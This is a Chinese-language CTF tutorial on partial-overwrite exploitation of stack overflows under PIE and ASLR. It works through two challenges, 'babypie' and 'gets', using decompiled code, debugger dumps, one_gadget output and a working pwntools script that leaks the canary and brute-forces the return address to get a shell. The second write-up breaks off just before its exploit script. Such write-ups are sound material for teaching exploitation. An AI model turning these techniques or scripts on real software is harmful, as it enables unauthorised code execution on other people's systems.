partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想。
我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
2018 - 安恒杯 - babypie
核心思想总结
- 覆盖canary的低字节的一位,防止
\x00截断,然后利用write泄露canary - 覆盖ret的低两字节(实际上是一个半字节,最后半个字节随便猜就可以),由于地址随机化并不会改变页框内的偏移,重复碰撞即可。
程序
题目链接https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/partial_overwrite
- 查看保护
babypie: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77a11dbd367716f44ca03a81e8253e14b6758ac3, stripped
[*] '/home/m4x/pwn_repo/LinkCTF_2018.7_babypie/babypie'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
- 程序分析
IDA 中看一下, 很容易就能发现漏洞点, 两处输入都有很明显的栈溢出漏洞, 需要注意的是在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了
__int64 sub_960()
{
char buf[40]; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
*(_OWORD *)buf = 0uLL;
*(_OWORD *)&buf[16] = 0uLL;
puts("Input your Name:");
read(0, buf, 0x30uLL); // overflow
printf("Hello %s:\n", buf, *(_QWORD *)buf, *(_QWORD *)&buf[8], *(_QWORD *)&buf[16], *(_QWORD *)&buf[24]);
read(0, buf, 0x60uLL); // overflow
return 0LL;
}
同时也发现程序中给了能直接 get shell 的函数
.text:0000000000000A3E getshell proc near
.text:0000000000000A3E ; __unwind { .text:0000000000000A3E push rbp
.text:0000000000000A3F mov rbp, rsp
.text:0000000000000A42 lea rdi, command ; "/bin/sh"
.text:0000000000000A49 call _system
.text:0000000000000A4E nop
.text:0000000000000A4F pop rbp
.text:0000000000000A50 retn
.text:0000000000000A50 ; } // starts at A3E
.text:0000000000000A50 getshell endp
这样我们只要控制 rip 到该函数即可
leak canary
在第一次 read 之后紧接着就有一个输出, 而 read 并不会给输入的末尾加上 \0, 这就给了我们 leak 栈上内容的机会。
为了第二次溢出能控制返回地址, 我们选择 leak canary. 可以计算出第一次 read 需要的长度为 0x30 - 0x8 + 1 (+ 1 是为了覆盖 canary 的最低位为非 0 的值, printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了)
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7b04260 → <__read_nocancel+7> cmp rax, 0xfffffffffffff001
$rdx : 0x30
$rsp : 0x00007fffffffddc8 → 0x0000555555554a0d → lea rax, [rbp-0x30]
$rbp : 0x00007fffffffde00 → 0x00007fffffffde20 → 0x0000555555554a80 → push r15
$rsi : 0x00007fffffffddd0 → 0x6161616161616161 ("aaaaaaaa"?)
$rdi : 0x0000555555554b15 → "Hello %s:"
$rip : 0x00007ffff7a62800 → <printf+0> sub rsp, 0xd8
$r8 : 0x00007ffff7fde700 → 0x00007ffff7fde700 → [loop detected]
$r9 : 0x0
$r10 : 0x25b
$r11 : 0x00007ffff7a62800 → <printf+0> sub rsp, 0xd8
$r12 : 0x0000555555554830 → xor ebp, ebp
$r13 : 0x00007fffffffdf00 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffddc8│+0x0000: 0x0000555555554a0d → lea rax, [rbp-0x30] ← $rsp
0x00007fffffffddd0│+0x0008: 0x6161616161616161 ← $rsi
0x00007fffffffddd8│+0x0010: 0x6161616161616162
0x00007fffffffdde0│+0x0018: 0x6161616161616163
0x00007fffffffdde8│+0x0020: 0x6161616161616164
0x00007fffffffddf0│+0x0028: 0x6161616161616165
0x00007fffffffddf8│+0x0030: 0xd804f82016417461
0x00007fffffffde00│+0x0038: 0x00007fffffffde20 → 0x0000555555554a80 → push r15 ← $rbp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7a627f7 <fprintf+135> add rsp, 0xd8
0x7ffff7a627fe <fprintf+142> ret
0x7ffff7a627ff nop
→ 0x7ffff7a62800 <printf+0> sub rsp, 0xd8
0x7ffff7a62807 <printf+7> test al, al
0x7ffff7a62809 <printf+9> mov QWORD PTR [rsp+0x28], rsi
0x7ffff7a6280e <printf+14> mov QWORD PTR [rsp+0x30], rdx
0x7ffff7a62813 <printf+19> mov QWORD PTR [rsp+0x38], rcx
0x7ffff7a62818 <printf+24> mov QWORD PTR [rsp+0x40], r8
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "babypie", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7a62800 → __printf(format=0x555555554b15 "Hello %s:\n")
[#1] 0x555555554a0d → lea rax, [rbp-0x30]
[#2] 0x555555554a6a → mov eax, 0x0
[#3] 0x7ffff7a2d830 → __libc_start_main(main=0x555555554a51, argc=0x1, argv=0x7fffffffdf08, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdef8)
[#4] 0x555555554859 → hlt
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ canary
[+] Found AT_RANDOM at 0x7fffffffe279, reading 8 bytes
[+] The canary of process 23086 is 0xd804f82016417400
覆盖返回地址
有了 canary 后, 就可以通过第二次的栈溢出来改写返回地址了, 控制返回地址到 getshell 函数即可, 我们先看一下没溢出时的返回地址
0x000055dc43694a1e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
RAX 0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
RBX 0x0
RCX 0x7f206c6696f0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x60
RDI 0x0
RSI 0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0x7f206cb22700 ◂— 0x7f206cb22700
R9 0x3e
R10 0x73
R11 0x246
R12 0x55dc43694830 ◂— xor ebp, ebp
R13 0x7fff9aa3b050 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push r15
RSP 0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
RIP 0x55dc43694a1e ◂— call 0x55dc436947f0
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
0x55dc43694a08 call 0x55dc436947e0
0x55dc43694a0d lea rax, [rbp - 0x30]
0x55dc43694a11 mov edx, 0x60
0x55dc43694a16 mov rsi, rax
0x55dc43694a19 mov edi, 0
► 0x55dc43694a1e call 0x55dc436947f0
0x55dc43694a23 mov eax, 0
0x55dc43694a28 mov rcx, qword ptr [rbp - 8]
0x55dc43694a2c xor rcx, qword ptr fs:[0x28]
0x55dc43694a35 je 0x55dc43694a3c
0x55dc43694a37 call 0x55dc436947c0
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rax rsi rsp 0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓
05:0028│ 0x7fff9aa3af48 ◂— 0xbfe0cfbabccd2861
06:0030│ rbp 0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push r15
07:0038│ 0x7fff9aa3af58 —▸ 0x55dc43694a6a ◂— mov eax, 0
pwndbg> x/10i (0x0A3E+0x55dc43694000)
0x55dc43694a3e: push rbp
0x55dc43694a3f: mov rbp,rsp
0x55dc43694a42: lea rdi,[rip+0xd7] # 0x55dc43694b20
0x55dc43694a49: call 0x55dc436947d0
0x55dc43694a4e: nop
0x55dc43694a4f: pop rbp
0x55dc43694a50: ret
0x55dc43694a51: push rbp
0x55dc43694a52: mov rbp,rsp
0x55dc43694a55: sub rsp,0x10
可以发现, 此时的返回地址与 get shell 函数的地址只有低位的 16 bit 不同, 如果覆写低 16 bit 为0x?A3E, 就有一定的几率 get shell
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
while True:
try:
io = process("./babypie", timeout = 1)
# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
io.recvuntil('a' * (0x30 - 0x8 + 1))
canary = '\0' + io.recvn(7)
success(canary.encode('hex'))
# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')
io.interactive()
except Exception as e:
io.close()
print e
2018-XNUCA-gets
程序
有一个栈溢出的漏洞,然而没有任何 leak
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+0h] [rbp-18h]
gets((char *)&v4);
return 0LL;
}

比较好的是程序没有 canary,自然我们很容易控制程序的 EIP,但是控制到哪里是一个问题。
分析
我们通过 ELF 的基本执行流程(可执行文件部分)来知道程序的基本执行流程,与此同时我们发现在栈上存在着两个函数的返回地址。
pwndbg> stack 25
00:0000│ rsp 0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
01:0008│ 0x7fffffffe3a0 ◂— 0x1
02:0010│ 0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf')
03:0018│ 0x7fffffffe3b0 ◂— 0x1f7ffcca0
04:0020│ 0x7fffffffe3b8 —▸ 0x400420 ◂— sub rsp, 0x18
05:0028│ 0x7fffffffe3c0 ◂— 0x0
06:0030│ 0x7fffffffe3c8 ◂— 0xf086047f3fb49558
07:0038│ 0x7fffffffe3d0 —▸ 0x400440 ◂— xor ebp, ebp
08:0040│ 0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1
09:0048│ 0x7fffffffe3e0 ◂— 0x0
... ↓
0b:0058│ 0x7fffffffe3f0 ◂— 0xf79fb00f2749558
0c:0060│ 0x7fffffffe3f8 ◂— 0xf79ebba9ae49558
0d:0068│ 0x7fffffffe400 ◂— 0x0
... ↓
10:0080│ 0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP')
11:0088│ 0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0
12:0090│ 0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp 0x7ffff7de77a0
其中__libc_start_main+240位于 libc 中,_dl_init+139 位于 ld 中
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
一个比较自然的想法就是我们通过 partial overwrite 来修改这两个地址到某个获取 shell 的位置,那自然就是 Onegadget 了。那么我们究竟覆盖哪一个呢??
我们先来分析一下 libc 的基地址 0x7ffff7a0d000。我们一般要覆盖字节的话,至少要覆盖 1 个半字节才能够获取跳到 onegadget。然而,程序中读取的时候是 gets读取的,也就意味着字符串的末尾肯定会存在\x00。
而我们覆盖字节的时候必须覆盖整数倍个数,即至少会覆盖 3 个字节,而我们再来看看__libc_start_main+240 的地址 0x7ffff7a2d830,如果覆盖 3 个字节,那么就是0x7ffff700xxxx,已经小于了 libc 的基地址了,前面也没有刻意执行的代码位置。
一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 __libc_start_main+240 ,显然是不可能的。
而 ld 的基地址呢?如果我们覆盖了栈上_dl_init+139,即为0x7ffff700xxxx。而观察上述的内存布局,我们可以发现libc位于 ld 的低地址方向,那么在随机化的时候,很有可能 libc 的第 3 个字节是为\x00 的。
举个例子,目前两者之间的偏移为
0x7ffff7dd7000-0x7ffff7a0d000=0x3ca000
那么如果 ld 被加载到了 0x7ffff73ca000,则显然 libc 的起始地址就是0x7ffff7000000。
因此,我们有足够的理由选择覆盖栈上存储的_dl_init+139。那么覆盖成什么呢?还不知道。因为我们还不知道 libc 的库版本是什么,,
我们可以先随便覆盖覆盖,看看程序会不会崩溃,毕竟此时很有可能会执行 libc 库中的代码。
判断出来libc版本(实测失败)
确定好了 libc 的版本后,我们可以选一个 one_gadget,这里我选择第一个,较低地址的。
➜ gets one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
使用如下 exp 爆破即可